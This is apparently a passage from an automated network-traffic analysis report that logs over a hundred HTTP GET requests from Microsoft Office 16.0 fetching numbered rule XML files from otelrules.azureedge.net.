Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
